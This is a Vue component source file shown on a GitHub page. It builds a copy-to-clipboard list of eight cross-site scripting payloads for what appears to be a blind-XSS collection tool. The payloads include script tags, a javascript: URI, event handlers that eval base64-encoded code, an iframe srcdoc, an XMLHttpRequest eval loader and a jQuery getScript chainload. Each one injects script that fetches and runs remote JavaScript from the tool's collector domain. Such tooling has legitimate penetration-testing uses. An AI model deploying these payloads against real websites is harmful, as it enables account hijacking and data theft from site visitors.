-
Notifications
You must be signed in to change notification settings - Fork 352
/
Copy pathXSSPayloads.vue
129 lines (126 loc) · 5.66 KB
/
XSSPayloads.vue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<template>
<div>
<div class="row">
<div class="col-12">
<card class="xss-card-container">
<div class="row pl-4 pr-4 p-2" style="display: block;">
<div>
<h1><i class="fas fa-file-code"></i> XSS Payloads</h1>
</div>
<card v-for="payload in payloads">
<h4 class="card-title" v-html="payload.title"></h4>
<h6 class="card-subtitle mb-2 text-muted">{{payload.description}}</h6>
<p class="card-text">
<base-input type="text" v-bind:value="payload.func()" placeholder="..."></base-input>
</p>
<base-button type="primary" v-clipboard:copy="payload.func()"><i class="far fa-copy"></i> Copy Payload</base-button>
</card>
</div>
</card>
</div>
</div>
</div>
</template>
<script>
import config from '@/config';
import Vue from "vue";
import api_request from '@/libs/api.js';
import router from "@/router/index";
import utils from '@/libs/utils';
const html_encode = utils.html_encode;
const urlsafe_base64_encode = utils.urlsafe_base64_encode;
export default {
data() {
return {
payloads: [
{
'func': this.basic_script,
'title': 'Basic <code><script></code> Tag Payload',
'description': 'Classic payload',
},
{
'func': this.javascript_uri,
'title': '<code>javascript:</code> URI Payload',
'description': 'Link-based XSS',
},
{
'func': this.input_onfocus,
'title': '<code><input></code> Tag Payload',
'description': 'HTML5 input-based payload',
},
{
'func': this.image_onerror,
'title': '<code><img></code> Tag Payload',
'description': 'Image-based payload',
},
{
'func': this.video_source,
'title': '<code><video><source></code> Tag Payload',
'description': 'Video-based payload',
},
{
'func': this.iframe_srcdoc,
'title': '<code><iframe srcdoc=</code> Tag Payload',
'description': 'iframe-based payload',
},
{
'func': this.xmlhttprequest_load,
'title': 'XMLHttpRequest Payload',
'description': 'Inline execution chainload payload',
},
{
'func': this.jquery_chainload,
'title': '<code>$.getScript()</code> (jQuery) Payload',
'description': 'Chainload payload for sites with jQuery',
},
],
base_domain: '',
}
},
watch: {},
methods: {
js_attrib: function() {
return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);';
},
basic_script: function() {
return "\"><script src=\"https://" + this.base_domain + "\"><\/script>";
},
javascript_uri: function() {
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + this.base_domain + "\\';document.body.appendChild(a)')";
},
input_onfocus: function() {
return "\"><input onfocus=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " autofocus>";
},
image_onerror: function() {
return "\"><img src=x id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " onerror=eval(atob(this.id))>";;
},
video_source: function() {
return "\"><video><source onerror=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + ">";
},
iframe_srcdoc: function() {
return "\"><iframe srcdoc=\"<script>var a=parent.document.createElement("script");a.src="https://" + this.base_domain + "";parent.document.body.appendChild(a);</script>\">";
},
xmlhttprequest_load: function() {
return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://' + this.base_domain + '");a.send();<\/script>'
},
jquery_chainload: function() {
return '<script>$.getScript("https://' + this.base_domain + '")<\/script>';
},
},
computed: {},
components: {},
async mounted() {
// For debugging
window.app = this;
// Base domain
this.base_domain = api_request.BASE_DOMAIN;
},
beforeDestroy() {}
};
</script>
<style>
.control-label {
color: #d3d3d7 !important;
display: inline;
}
</style>